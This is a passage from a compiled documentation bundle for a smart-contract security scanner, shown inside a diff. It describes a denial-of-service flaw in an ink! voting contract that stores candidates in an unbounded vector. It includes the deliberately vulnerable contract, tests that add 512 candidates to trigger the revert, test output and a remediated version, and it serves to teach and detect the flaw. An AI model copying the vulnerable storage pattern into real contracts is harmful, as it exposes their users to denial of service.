self.votes.contains(candidate) {\n Err(Errors::CandidateAlreadyAdded)\n } else {\n self.candidates.push(candidate);\n self.votes.insert(candidate, &0);\n Ok(())\n }\n }\n\n /// Returns votes for a given candidate.\n #[ink(message)]\n pub fn get_votes_for_a_candidate(&self, candidate: AccountId) -> Result {\n let votes_opt = self.votes.get(candidate);\n if votes_opt.is_none() {\n Err(Errors::CandidateDoesntExist)\n } else {\n Ok(votes_opt.unwrap())\n }\n }\n\n /// Returns votes for the most voted candidate.\n #[ink(message)]\n pub fn most_voted_candidate_votes(&self) -> u64 {\n self.candidate_votes\n }\n\n /// Returns account id for the most voted candidate.\n #[ink(message)]\n pub fn most_voted_candidate(&self) -> AccountId {\n self.most_voted_candidate\n }\n\n /// Returns total votes performed.\n #[ink(message)]\n pub fn get_total_votes(&self) -> u64 {\n self.total_votes\n }\n\n /// Returns total candidates.\n #[ink(message)]\n pub fn get_total_candidates(&self) -> u64 {\n self.candidates.len() as u64\n }\n\n /// Returns candidate at index.\n #[ink(message)]\n pub fn get_candidate(&self, index: u64) -> Result {\n if (index as usize) < self.candidates.len() {\n Ok(self.candidates[index as usize])\n } else {\n Err(Errors::CandidateDoesntExist)\n }\n }\n\n /// Returns true if the account has already voted.\n #[ink(message)]\n pub fn account_has_voted(&self, account: AccountId) -> bool {\n self.already_voted.get(account).unwrap_or(false)\n }\n\n /// Vote for one of the candidates.\n #[ink(message)]\n pub fn vote(&mut self, candidate: AccountId) -> Result<(), Errors> {\n if self.vote_ended() {\n return Err(Errors::VoteEnded);\n }\n let caller = self.env().caller();\n if self.already_voted.contains(caller) {\n Err(Errors::AccountAlreadyVoted)\n } else {\n self.already_voted.insert(caller, &true);\n let votes = self\n .votes\n .get(candidate)\n .ok_or(Errors::CandidateDoesntExist)?\n .checked_add(1)\n .ok_or(Errors::Overflow)?;\n self.votes.insert(candidate, &votes);\n self.total_votes.checked_add(1).ok_or(Errors::Overflow)?;\n if self.candidate_votes < votes {\n self.candidate_votes = votes;\n self.most_voted_candidate = candidate;\n }\n Ok(())\n }\n }\n\n /// Returns true if the vote has ended.\n #[ink(message)]\n pub fn vote_ended(&self) -> bool {\n self.vote_timestamp_end <= self.env().block_timestamp()\n }\n }\n\n #[cfg(test)]\n mod tests {\n use super::*;\n use std::time::SystemTime;\n\n #[ink::test]\n fn insert_512_candidates() {\n let now: u64 = match SystemTime::now().duration_since(SystemTime::UNIX_EPOCH) {\n Ok(n) => (n.as_secs() + 10 * 60) * 1000,\n Err(_) => panic!("SystemTime before UNIX EPOCH!"),\n };\n let mut contract = UnexpectedRevert::new(now).unwrap();\n\n let mut candidate: Result<(), Errors> = Err(Errors::VoteEnded);\n for i in 0u32..512 {\n let mut zero_vec = vec![0u8; 28];\n zero_vec.extend(i.to_be_bytes().iter().cloned());\n let arr: [u8; 32] = match zero_vec.as_slice().try_into() {\n Ok(arr) => arr,\n Err(_) => panic!(),\n };\n let addr = AccountId::from(arr);\n candidate = contract.add_candidate(addr);\n assert_eq!(contract.get_total_candidates(), (i + 1) as u64);\n }\n\n assert_eq!(contract.get_total_candidates(), 512u64);\n assert_eq!(candidate.is_ok(), true);\n }\n }\n\n #[cfg(all(test, feature = "e2e-tests"))]\n mod e2e_tests {\n use super::*;\n use ink_e2e::build_message;\n use std::time::SystemTime;\n\n #[ink_e2e::test]\n #[should_panic(expected = "add_candidate failed: CallDryRun")]\n async fn insert_512_candidates(mut client: ink_e2e::Client) {\n let now: u64 = match SystemTime::now().duration_since(SystemTime::UNIX_EPOCH) {\n Ok(n) => (n.as_secs() + 10 * 60) * 1000,\n Err(_) => panic!("SystemTime before UNIX EPOCH!"),\n };\n let constructor = UnexpectedRevertRef::new(now);\n let contract_acc_id = client\n .instantiate("unexpected-revert", &ink_e2e::alice(), constructor, 0, None)\n .await\n .expect("instantiate failed")\n .account_id;\n\n for i in 0u32..512 {\n let mut zero_vec = vec![0u8; 28];\n zero_vec.extend(i.to_be_bytes().iter().cloned());\n let arr: [u8; 32] = match zero_vec.as_slice().try_into() {\n Ok(arr) => arr,\n Err(_) => panic!(),\n };\n let addr = AccountId::from(arr);\n\n let add_candidate = build_message::(contract_acc_id.clone())\n .call(|contract| contract.add_candidate(addr));\n client\n .call(&ink_e2e::bob(), add_candidate.clone(), 0, None)\n .await\n .expect("add_candidate failed");\n }\n }\n }\n}\n')),(0,r.kt)("p",null,"The smart contract has several functions that allow adding a candidate, getting\nvotes for a specific candidate, getting the account ID of the most voted\ncandidate, getting the total votes, getting the total number of candidates,\ngetting a candidate by index, checking if an account has voted, and voting for\na candidate."),(0,r.kt)("p",null,"The ",(0,r.kt)("inlineCode",{parentName:"p"},"#[cfg(test)]")," block contains a single test that adds 512 candidates to the\nsmart contract. It initializes the contract with the current timestamp + 10\nminutes and then uses a loop to add each candidate. The test verifies that\nthe function to add a candidate fails with an error indicating that the vote\nhas ended. The purpose of this test is to trigger an unexpected revert due\nto the contract's storage size, but this does not occur since the deployment\nis mocked and does not check the size of storage cells."),(0,r.kt)("p",null,"On the other hand, the end to end test instantiates the contract using\n",(0,r.kt)("inlineCode",{parentName:"p"},"ink_e2e::alice()")," as the deployer account and an ",(0,r.kt)("inlineCode",{parentName:"p"},"UnexpectedRevertRef"),"\ninstance with a specified now value. It then uses a loop to add 512 candidates\nto the contract by calling the add_candidate function for each candidate\naccount."),(0,r.kt)("p",null,"The loop generates a unique ",(0,r.kt)("inlineCode",{parentName:"p"},"AccountId")," for each candidate by creating a\nvector of 28 zeroes, appending the current index as a big-endian byte array,\nand converting the resulting vector to a fixed-length array of 32 bytes."),(0,r.kt)("p",null,"The test expects the ",(0,r.kt)("inlineCode",{parentName:"p"},"add_candidate()")," function to fail with a ",(0,r.kt)("inlineCode",{parentName:"p"},"CallDryRun")," error,\nwhich indicates that the transaction execution failed during a dry run. This\nis indicated by the ",(0,r.kt)("inlineCode",{parentName:"p"},'#[should_panic(expected = "add_candidate failed: CallDryRun")]'),"\nattribute on the test function. This test ",(0,r.kt)("em",{parentName:"p"},"does")," trigger an unexpected revert\ndue to the contract's storage size."),(0,r.kt)("p",null,"The vulnerable code example can be found ",(0,r.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/blob/main/test-cases/dos-unexpected-revert-with-vector/dos-unexpected-revert-with-vector-1/vulnerable-example/src/lib.rs"},"here"),"."),(0,r.kt)("h3",{id:"deployment-of-the-vulnerable-contract"},"Deployment (of the vulnerable contract)"),(0,r.kt)("p",null,"In order to run the tests associated to this contract and view this\nvulnerability in action:"),(0,r.kt)("ol",null,(0,r.kt)("li",{parentName:"ol"},"Save the ",(0,r.kt)("inlineCode",{parentName:"li"},"vulnerable-example")," directory."),(0,r.kt)("li",{parentName:"ol"},"Run a substrate node and save its ",(0,r.kt)("inlineCode",{parentName:"li"},"FULL_PATH"),"."),(0,r.kt)("li",{parentName:"ol"},"Open a new terminal at the ",(0,r.kt)("inlineCode",{parentName:"li"},"vulnerable-example")," directory and set the\ncontract node environmental variable by running:\n",(0,r.kt)("inlineCode",{parentName:"li"},"export CONTRACTS_NODE=[FULL_PATH]")),(0,r.kt)("li",{parentName:"ol"},"Finally, run the test with:\n",(0,r.kt)("inlineCode",{parentName:"li"},"cargo test --features e2e-tests"))),(0,r.kt)("p",null,"You should see that the vulnerability is not realized for the integration test\nsince the deployment is mocked and does not check the size of storage cells,\nbut it is for the e2e-test."),(0,r.kt)("pre",null,(0,r.kt)("code",{parentName:"pre",className:"language-bash"},"$ cargo test --features e2e-tests\n\n Updating crates.io index\n Downloaded toml_edit v0.19.7\n\n ...\n\n Compiling metadata-gen v0.1.0 (/tmp/cargo-contract_5urX7T/.ink/metadata_gen)\n Finished release [optimized] target(s) in 1m 06s\n Running `target/ink/release/metadata-gen`\n [5/5] Generating bundle\n Finished test [unoptimized + debuginfo] target(s) in 15m 02s\n Running unittests lib.rs (target/debug/deps/unexpected_revert-feae385052f36b92)\n\nrunning 2 tests\ntest unexpected_revert::tests::insert_512_candidates ... ok\ntest unexpected_revert::e2e_tests::insert_512_candidates - should panic ... ok\n\ntest result: ok. 2 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 59.94s\n\n Doc-tests unexpected-revert\n\nrunning 0 tests\n\ntest result: ok. 0 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.00s\n\n")),(0,r.kt)("h2",{id:"remediation"},"Remediation"),(0,r.kt)("p",null,"In order to prevent this vulnerability we discourage the use of ",(0,r.kt)("inlineCode",{parentName:"p"},"Vec")," and\npropose the use of ",(0,r.kt)("inlineCode",{parentName:"p"},"Mapping")," in order to avoid storage limits in the list of candidates."),(0,r.kt)("pre",null,(0,r.kt)("code",{parentName:"pre",className:"language-rust"},'#![cfg_attr(not(feature = "std"), no_std)]\n\n#[ink::contract]\nmod unexpected_revert {\n use ink::storage::Mapping;\n #[ink(storage)]\n pub struct UnexpectedRevert {\n /// Total votes performed.\n total_votes: u64,\n /// Total candidates.\n total_candidates: u64,\n /// List of candidates.\n candidates: Mapping,\n /// Votes for each candidate.\n votes: Mapping,\n /// Accounts that already voted.\n already_voted: Mapping,\n /// Account id of the most voted candidate.\n most_voted_candidate: AccountId,\n /// Votes of the most voted candidate\n candidate_votes: u64,\n /// Timestamp when the vote ends.\n vote_timestamp_end: u64,\n }\n\n #[derive(Debug, PartialEq, Eq, Clone, scale::Encode, scale::Decode)]\n #[cfg_attr(feature = "std", derive(::scale_info::TypeInfo))]\n pub enum Errors {\n /// Account already voted.\n AccountAlreadyVoted,\n /// Candidate already added.\n CandidateAlreadyAdded,\n /// Candidate doesn\'t exist.\n CandidateDoesntExist,\n /// Overflow was detected.\n Overflow,\n /// Timestamp before current block.\n TimestampBeforeCurrentBlock,\n /// Vote ended.\n VoteEnded,\n }\n\n impl UnexpectedRevert {\n /// Constructor that initializes the `bool` value to the given `init_value`.\n #[ink(constructor)]\n pub fn new(end_timestamp: u64) -> Result {\n if end_timestamp <= Self::env().block_timestamp() {\n return Err(Errors::TimestampBeforeCurrentBlock);\n }\n let zero_arr: [u8; 32] = [0; 32];\n let zero_addr = AccountId::from(zero_arr);\n Ok(Self {\n total_votes: 0,\n total_candidates: 0,\n most_voted_candidate: zero_addr,\n candidate_votes: 0,\n candidates: Mapping::default(),\n already_voted: Mapping::default(),\n votes: Mapping::default(),\n vote_timestamp_end: end_timestamp,\n })\n }\n\n /// Add a candidate to this vote\n #[ink(message)]\n pub fn add_candidate(&mut self, candidate: AccountId) -> Result<(), Errors> {\n if self.vote_ended() {\n return Err(Errors::VoteEnded);\n }\n if self.votes.contains(candidate) {\n Err(Errors::CandidateAlreadyAdded)\n } else {\n self.candidates.insert(self.total_candidates, &candidate);\n self.total_candidates += 1;\n self.votes.insert(candidate, &0);\n Ok(())\n }\n }\n\n /// Returns votes for a given candidate.\n #[ink(message)]\n pub fn get_votes_for_a_candidate(&self, candidate: AccountId) -> Result {\n let votes_opt = self.votes.get(candidate);\n if votes_opt.is_none() {\n Err(Errors::CandidateDoesntExist)\n } else {\n Ok(votes_opt.unwrap())\n }\n }\n\n /// Returns votes for the most voted candidate.\n #[ink(message)]\n pub fn most_voted_candidate_votes(&self) -> u64 {\n self.candidate_votes\n }\n\n /// Returns account id for the most voted candidate.\n #[ink(message)]\n pub fn most_voted_candidate(&self) -> AccountId {\n self.most_voted_candidate\n }\n\n /// Returns total votes performed.\n #[ink(message)]\n pub fn get_total_votes(&self) -> u64 {\n self.total_votes\n }\n\n /// Returns total candidates.\n #[ink(message)]\n pub fn get_total_candidates(&self) -> u64 {\n self.total_candidates\n }\n\n /// Returns candidate at index.\n #[ink(message)]\n pub fn get_candidate(&self, index: u64) -> Result {\n match self.candidates.get(index) {\n Some(candidate) => Ok(candidate),\n None => Err(Errors::CandidateDoesntExist),\n }\n }\n\n /// Returns true if the account has already voted.\n #[ink(message)]\n pub fn account_has_voted(&self, account: AccountId) -> bool {\n self.already_voted.get(account).unwrap_or(false)\n }\n\n /// Vote for one of the candidates.\n #[ink(message)]\n pub fn vote(&mut self, candidate: AccountId) -> Result<(), Errors> {\n if self.vote_ended() {\n return Err(Errors::VoteEnded);\n }\n let caller = self.env().caller();\n if self.already_voted.contains(caller) {\n Err(Errors::AccountAlreadyVoted)\n } else {\n self.already_voted.insert(caller, &true);\n let votes = self\n .votes\n .get(candidate)\n .ok_or(Errors::CandidateDoesntExist)?\n .checked_add(1)\n .ok_or(Errors::Overflow)?;\n self.votes.insert(candidate, &votes);\n self.total_votes.checked_add(1).ok_or(Errors::Overflow)?;\n if self.candidate_votes < votes {\n self.candidate_votes = votes;\n self.most_voted_candidate = candidate;\n }\n Ok(())\n }\n }\n\n /// Returns true if the vote has ended.\n #[ink(message)]\n pub fn vote_ended(&self) -> bool {\n self.vote_timestamp_end <= self.env().block_timestamp()\n }\n }\n\n #[cfg(test)]\n mod tests {\n use super::*;\n use std::time::SystemTime;\n\n #[ink::test]\n fn insert_512_candidates() {\n let now: u64 = match SystemTime::now().duration_since(SystemTime::UNIX_EPOCH) {\n Ok(n) => (n.as_secs() + 10 * 60) * 1000,\n Err(_) => panic!("SystemTime before UNIX EPOCH!"),\n };\n let mut contract = UnexpectedRevert::new(now).unwrap();\n\n let mut candidate: Result<(), Errors> = Err(Errors::VoteEnded);\n for i in 0u32..512 {\n let mut zero_vec = vec![0u8; 28];\n zero_vec.extend(i.to_be_bytes().iter().cloned());\n let arr: [u8; 32] = match zero_vec.as_slice().try_into() {\n Ok(arr) => arr,\n Err(_) => panic!(),\n };\n let addr = AccountId::from(arr);\n candidate = contract.add_candidate(addr);\n assert_eq!(contract.get_total_candidates(), (i + 1) as u64);\n }\n\n assert_eq!(contract.get_total_candidates(), 512u64);\n assert_eq!(candidate.is_ok(), true);\n }\n }\n\n #[cfg(all(test, feature = "e2e-tests"))]\n mod e2e_tests {\n use super::*;\n use ink_e2e::build_message;\n use std::time::SystemTime;\n\n #[ink_e2e::test]\n async fn insert_512_candidates(mut client: ink_e2e::Client) {\n let now: u64 = match SystemTime::now().duration_since(SystemTime::UNIX_EPOCH) {\n Ok(n) => (n.as_secs() + 10 * 60) * 1000,\n Err(_) => panic!("SystemTime before UNIX EPOCH!"),\n };\n let constructor = UnexpectedRevertRef::new(now);\n let contract_acc_id = client\n .instantiate("unexpected-revert", &ink_e2e::alice(), constructor, 0, None)\n .await\n .expect("instantiate failed")\n .account_id;\n\n for i in 0u32..512 {\n let mut zero_vec = vec![0u8; 28];\n zero_vec.extend(i.to_be_bytes().iter().cloned());\n let arr: [u8; 32] = match zero_vec.as_slice().try_into() {\n Ok(arr) => arr,\n Err(_) => panic!(),\n };\n let addr = AccountId::from(arr);\n\n let add_candidate = build_message::(contract_acc_id.clone())\n .call(|contract| contract.add_candidate(addr));\n client\n .call(&ink_e2e::bob(), add_candidate.clone(), 0, None)\n .await\n .expect("add_candidate failed");\n }\n let get_total_candidates =\n build_message::(contract_acc_id.clone())\n .call(|contract| contract.get_total_candidates());\n let candidates_count = client\n .call(&ink_e2e::bob(), get_total_candidates.clone(), 0, None)\n .await\n .expect("candidates_count failed");\n assert_eq!(candidates_count.return_value(), 512);\n }\n }\n}\n')),(0,r.kt)("p",null,"The remediated code example can be found ",(0,r.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/blob/main/test-cases/dos-unexpected-revert-with-vector/dos-unexpected-revert-with-vector-1/remediated-example/src/lib.rs"},"here"),"."),(0,r.kt)("h3",{id:"deployment-of-the-remediated-contract"},"Deployment (of the remediated contract)"),(0,r.kt)("p",null,"In order to run the tests associated to this remediated contract in action:"),(0,r.kt)("ol",null,(0,r.kt)("li",{parentName:"ol"},"Save the ",(0,r.kt)("inlineCode",{parentName:"li"},"remediated-example")," directory."),(0,r.kt)("li",{parentName:"ol"},"Run a substrate node and save its ",(0,r.kt)("inlineCode",{parentName:"li"},"FULL_PATH"),"."),(0,r.kt)("li",{parentName:"ol"},"Open a new terminal at the ",(0,r.kt)("inlineCode",{parentName:"li"},"vulnerable-example")," directory and set the contract node environmental variable by running:\n",(0,r.kt)("inlineCode",{parentName:"li"},"export CONTRACTS_NODE=[FULL_PATH]")),(0,r.kt)("li",{parentName:"ol"},"Finally, run the test with:\n",(0,r.kt)("inlineCode",{parentName:"li"},"cargo test --features e2e-tests"))),(0,r.kt)("p",null,"You should see that the vulnerability is not realized for any of the tests."),(0,r.kt)("pre",null,(0,r.kt)("code",{parentName:"pre",className:"language-bash"},"$ cargo test --features e2e-tests\n\n Updating crates.io index\n Compiling unicode-ident v1.0.8\n\n ...\n\n [5/5] Generating bundle\n Finished test [unoptimized + debuginfo] target(s) in 14m 24s\n Running unittests lib.rs (target/debug/deps/unexpected_revert-feae385052f36b92)\n\nrunning 2 tests\ntest unexpected_revert::tests::insert_512_candidates ... ok\ntest unexpected_revert::e2e_tests::insert_512_candidates ... ok\n\ntest result: ok. 2 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 46.06s\n\n Doc-tests unexpected-revert\n\nrunning 0 tests\n\ntest result: ok. 0 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.00s\n\n")),(0,r.kt)("h2",{id:"references"},"References"),(0,r.kt)("ul",null,(0,r.kt)("li",{parentName:"ul"},(0,r.kt)("a",{parentName:"li",href:"https://swcregistry.io/docs/SWC-113"},"SWC-113")),(0,r.kt)("li",{parentName:"ul"},(0,r.kt)("a",{parentName:"li",href:"https://consensys.github.io/smart-contract-best-practices/attacks/denial-of-service/#dos-with-unexpected-revert"},"https://consensys.github.io/smart-contract-best-practices/attacks/denial-of-service/#dos-with-unexpected-revert")),(0,r.kt)("li",{parentName:"ul"},(0,r.kt)("a",{parentName:"li",href:"https://github.com/OpenZeppelin/ethernaut/blob/master/contracts/src/levels/King.sol"},"Ethernaut: King"))))}p.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/fe4b9b8a.c4b2d49d.js b/assets/js/fe4b9b8a.c4b2d49d.js deleted file mode 100644 index 9d1bcc07..00000000 --- a/assets/js/fe4b9b8a.c4b2d49d.js +++ /dev/null @@ -1 +0,0 @@ -"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[2148],{9613:(e,t,n)=>{n.d(t,{Zo:()=>l,kt:()=>m});var a=n(9496);function r(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function o(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function d(e){for(var t=1;t=0||(r[n]=e[n]);return r}(e,t);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);for(a=0;a=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(r[n]=e[n])}return r}var i=a.createContext({}),c=function(e){var t=a.useContext(i),n=t;return e&&(n="function"==typeof e?e(t):d(d({},t),e)),n},l=function(e){var t=c(e.components);return a.createElement(i.Provider,{value:t},e.children)},u="mdxType",p={inlineCode:"code",wrapper:function(e){var t=e.children;return a.createElement(a.Fragment,{},t)}},f=a.forwardRef((function(e,t){var n=e.components,r=e.mdxType,o=e.originalType,i=e.parentName,l=s(e,["components","mdxType","originalType","parentName"]),u=c(n),f=r,m=u["".concat(i,".").concat(f)]||u[f]||p[f]||o;return n?a.createElement(m,d(d({ref:t},l),{},{components:n})):a.createElement(m,d({ref:t},l))}));function m(e,t){var n=arguments,r=t&&t.mdxType;if("string"==typeof e||r){var o=n.length,d=new Array(o);d[0]=f;var s={};for(var i in t)hasOwnProperty.call(t,i)&&(s[i]=t[i]);s.originalType=e,s[u]="string"==typeof e?e:r,d[1]=s;for(var c=2;c{n.r(t),n.d(t,{assets:()=>i,contentTitle:()=>d,default:()=>p,frontMatter:()=>o,metadata:()=>s,toc:()=>c});var a=n(2564),r=(n(9496),n(9613));const o={},d="DoS unexpected revert with vector",s={unversionedId:"vulnerabilities/dos-unexpected-revert-with-vector",id:"vulnerabilities/dos-unexpected-revert-with-vector",title:"DoS unexpected revert with vector",description:"Description",source:"@site/docs/vulnerabilities/7-dos-unexpected-revert-with-vector.md",sourceDirName:"vulnerabilities",slug:"/vulnerabilities/dos-unexpected-revert-with-vector",permalink:"/scout/docs/vulnerabilities/dos-unexpected-revert-with-vector",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/vulnerabilities/7-dos-unexpected-revert-with-vector.md",tags:[],version:"current",sidebarPosition:7,frontMatter:{},sidebar:"docsSidebar",previous:{title:"DoS unbounded operation",permalink:"/scout/docs/vulnerabilities/dos-unbounded-operation"},next:{title:"Unsafe expect",permalink:"/scout/docs/vulnerabilities/unsafe-expect"}},i={},c=[{value:"Description",id:"description",level:2},{value:"Exploit Scenario",id:"exploit-scenario",level:2},{value:"Deployment (of the vulnerable contract)",id:"deployment-of-the-vulnerable-contract",level:3},{value:"Remediation",id:"remediation",level:2},{value:"Deployment (of the remediated contract)",id:"deployment-of-the-remediated-contract",level:3},{value:"References",id:"references",level:2}],l={toc:c},u="wrapper";function p(e){let{components:t,...n}=e;return(0,r.kt)(u,(0,a.Z)({},l,n,{components:t,mdxType:"MDXLayout"}),(0,r.kt)("h1",{id:"dos-unexpected-revert-with-vector"},"DoS unexpected revert with vector"),(0,r.kt)("h2",{id:"description"},"Description"),(0,r.kt)("ul",null,(0,r.kt)("li",{parentName:"ul"},"Vulnerability Category: ",(0,r.kt)("inlineCode",{parentName:"li"},"DoS")),(0,r.kt)("li",{parentName:"ul"},"Severity: ",(0,r.kt)("inlineCode",{parentName:"li"},"Critical")),(0,r.kt)("li",{parentName:"ul"},"Detectors: ",(0,r.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/dos-unexpected-revert-with-vector"},(0,r.kt)("inlineCode",{parentName:"a"},"dos-unexpected-revert-with-vector"))),(0,r.kt)("li",{parentName:"ul"},"Test Cases: ",(0,r.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/dos-unexpected-revert-with-vector/dos-unexpected-revert-with-vector-1"},(0,r.kt)("inlineCode",{parentName:"a"},"dos-unexpected-revert-with-vector-1")))),(0,r.kt)("p",null,"This vulnerability of DoS through unexpected revert arises when a smart\ncontract does not handle storage size errors correctly, and a user can add an\nexcessive number of entries, leading to an unexpected revert of transactions\nby other users and a Denial of Service. This vulnerability can be exploited by\nan attacker to perform a DoS attack on the network and can result in lost\nfunds, poor user experience, and even harm the network's overall security."),(0,r.kt)("h2",{id:"exploit-scenario"},"Exploit Scenario"),(0,r.kt)("p",null,"The vulnerable smart contract we developed for his example allows users to\nvote for one of different candidates.\nThe smart contract contains a struct named ",(0,r.kt)("inlineCode",{parentName:"p"},"UnexpectedRevert")," that stores the\ntotal number of votes, a list of candidates, their votes, and whether an\naccount has voted. It also stores information about the most voted candidate\nand when the vote will end."),(0,r.kt)("pre",null,(0,r.kt)("code",{parentName:"pre",className:"language-rust"},'#![cfg_attr(not(feature = "std"), no_std)]\n\n#[ink::contract]\nmod unexpected_revert {\n use ink::prelude::vec::Vec;\n use ink::storage::Mapping;\n\n #[ink(storage)]\n pub struct UnexpectedRevert {\n /// Total votes performed.\n total_votes: u64,\n /// List of candidates.\n candidates: Vec,\n /// Votes for each candidate.\n votes: Mapping,\n /// Accounts that already voted.\n already_voted: Mapping,\n /// Account id of the most voted candidate.\n most_voted_candidate: AccountId,\n /// Votes of the most voted candidate.\n candidate_votes: u64,\n /// Timestamp when the vote ends.\n vote_timestamp_end: u64,\n }\n\n #[derive(Debug, PartialEq, Eq, Clone, scale::Encode, scale::Decode)]\n #[cfg_attr(feature = "std", derive(::scale_info::TypeInfo))]\n pub enum Errors {\n /// Account already voted.\n AccountAlreadyVoted,\n /// Candidate already added.\n CandidateAlreadyAdded,\n /// Candidate doesn\'t exist.\n CandidateDoesntExist,\n /// Overflow was detected.\n Overflow,\n /// Timestamp before current block.\n TimestampBeforeCurrentBlock,\n /// Vote ended.\n VoteEnded,\n }\n\n impl UnexpectedRevert {\n /// Constructor that initializes the `bool` value to the given `init_value`.\n #[ink(constructor)]\n pub fn new(end_timestamp: u64) -> Result {\n if end_timestamp <= Self::env().block_timestamp() {\n return Err(Errors::TimestampBeforeCurrentBlock);\n }\n\n let zero_arr: [u8; 32] = [0; 32];\n let zero_addr = AccountId::from(zero_arr);\n Ok(Self {\n total_votes: 0,\n most_voted_candidate: zero_addr,\n candidate_votes: 0,\n candidates: Vec::default(),\n already_voted: Mapping::default(),\n votes: Mapping::default(),\n vote_timestamp_end: end_timestamp,\n })\n }\n\n /// Adds a candidate to this vote.\n #[ink(message)]\n pub fn add_candidate(&mut self, candidate: AccountId) -> Result<(), Errors> {\n if self.vote_ended() {\n return Err(Errors::VoteEnded);\n }\n if self.votes.contains(candidate) {\n Err(Errors::CandidateAlreadyAdded)\n } else {\n self.candidates.push(candidate);\n self.votes.insert(candidate, &0);\n Ok(())\n }\n }\n\n /// Returns votes for a given candidate.\n #[ink(message)]\n pub fn get_votes_for_a_candidate(&self, candidate: AccountId) -> Result {\n let votes_opt = self.votes.get(candidate);\n if votes_opt.is_none() {\n Err(Errors::CandidateDoesntExist)\n } else {\n Ok(votes_opt.unwrap())\n }\n }\n\n /// Returns votes for the most voted candidate.\n #[ink(message)]\n pub fn most_voted_candidate_votes(&self) -> u64 {\n self.candidate_votes\n }\n\n /// Returns account id for the most voted candidate.\n #[ink(message)]\n pub fn most_voted_candidate(&self) -> AccountId {\n self.most_voted_candidate\n }\n\n /// Returns total votes performed.\n #[ink(message)]\n pub fn get_total_votes(&self) -> u64 {\n self.total_votes\n }\n\n /// Returns total candidates.\n #[ink(message)]\n pub fn get_total_candidates(&self) -> u64 {\n self.candidates.len() as u64\n }\n\n /// Returns candidate at index.\n #[ink(message)]\n pub fn get_candidate(&self, index: u64) -> Result {\n if (index as usize) < self.candidates.len() {\n Ok(self.candidates[index as usize])\n } else {\n Err(Errors::CandidateDoesntExist)\n }\n }\n\n /// Returns true if the account has already voted.\n #[ink(message)]\n pub fn account_has_voted(&self, account: AccountId) -> bool {\n self.already_voted.get(account).unwrap_or(false)\n }\n\n /// Vote for one of the candidates.\n #[ink(message)]\n pub fn vote(&mut self, candidate: AccountId) -> Result<(), Errors> {\n if self.vote_ended() {\n return Err(Errors::VoteEnded);\n }\n let caller = self.env().caller();\n if self.already_voted.contains(caller) {\n Err(Errors::AccountAlreadyVoted)\n } else {\n self.already_voted.insert(caller, &true);\n let votes = self\n .votes\n .get(candidate)\n .ok_or(Errors::CandidateDoesntExist)?\n .checked_add(1)\n .ok_or(Errors::Overflow)?;\n self.votes.insert(candidate, &votes);\n self.total_votes.checked_add(1).ok_or(Errors::Overflow)?;\n if self.candidate_votes < votes {\n self.candidate_votes = votes;\n self.most_voted_candidate = candidate;\n }\n Ok(())\n }\n }\n\n /// Returns true if the vote has ended.\n #[ink(message)]\n pub fn vote_ended(&self) -> bool {\n self.vote_timestamp_end <= self.env().block_timestamp()\n }\n }\n\n #[cfg(test)]\n mod tests {\n use super::*;\n use std::time::SystemTime;\n\n #[ink::test]\n fn insert_512_candidates() {\n let now: u64 = match SystemTime::now().duration_since(SystemTime::UNIX_EPOCH) {\n Ok(n) => (n.as_secs() + 10 * 60) * 1000,\n Err(_) => panic!("SystemTime before UNIX EPOCH!"),\n };\n let mut contract = UnexpectedRevert::new(now).unwrap();\n\n let mut candidate: Result<(), Errors> = Err(Errors::VoteEnded);\n for i in 0u32..512 {\n let mut zero_vec = vec![0u8; 28];\n zero_vec.extend(i.to_be_bytes().iter().cloned());\n let arr: [u8; 32] = match zero_vec.as_slice().try_into() {\n Ok(arr) => arr,\n Err(_) => panic!(),\n };\n let addr = AccountId::from(arr);\n candidate = contract.add_candidate(addr);\n assert_eq!(contract.get_total_candidates(), (i + 1) as u64);\n }\n\n assert_eq!(contract.get_total_candidates(), 512u64);\n assert_eq!(candidate.is_ok(), true);\n }\n }\n\n #[cfg(all(test, feature = "e2e-tests"))]\n mod e2e_tests {\n use super::*;\n use ink_e2e::build_message;\n use std::time::SystemTime;\n\n #[ink_e2e::test]\n #[should_panic(expected = "add_candidate failed: CallDryRun")]\n async fn insert_512_candidates(mut client: ink_e2e::Client) {\n let now: u64 = match SystemTime::now().duration_since(SystemTime::UNIX_EPOCH) {\n Ok(n) => (n.as_secs() + 10 * 60) * 1000,\n Err(_) => panic!("SystemTime before UNIX EPOCH!"),\n };\n let constructor = UnexpectedRevertRef::new(now);\n let contract_acc_id = client\n .instantiate("unexpected-revert", &ink_e2e::alice(), constructor, 0, None)\n .await\n .expect("instantiate failed")\n .account_id;\n\n for i in 0u32..512 {\n let mut zero_vec = vec![0u8; 28];\n zero_vec.extend(i.to_be_bytes().iter().cloned());\n let arr: [u8; 32] = match zero_vec.as_slice().try_into() {\n Ok(arr) => arr,\n Err(_) => panic!(),\n };\n let addr = AccountId::from(arr);\n\n let add_candidate = build_message::(contract_acc_id.clone())\n .call(|contract| contract.add_candidate(addr));\n client\n .call(&ink_e2e::bob(), add_candidate.clone(), 0, None)\n .await\n .expect("add_candidate failed");\n }\n }\n }\n}\n')),(0,r.kt)("p",null,"The smart contract has several functions that allow adding a candidate, getting\nvotes for a specific candidate, getting the account ID of the most voted\ncandidate, getting the total votes, getting the total number of candidates,\ngetting a candidate by index, checking if an account has voted, and voting for\na candidate."),(0,r.kt)("p",null,"The #","[cfg(test)]"," block contains a single test that adds 512 candidates to the\nsmart contract. It initializes the contract with the current timestamp + 10\nminutes and then uses a loop to add each candidate. The test verifies that\nthe function to add a candidate fails with an error indicating that the vote\nhas ended. The 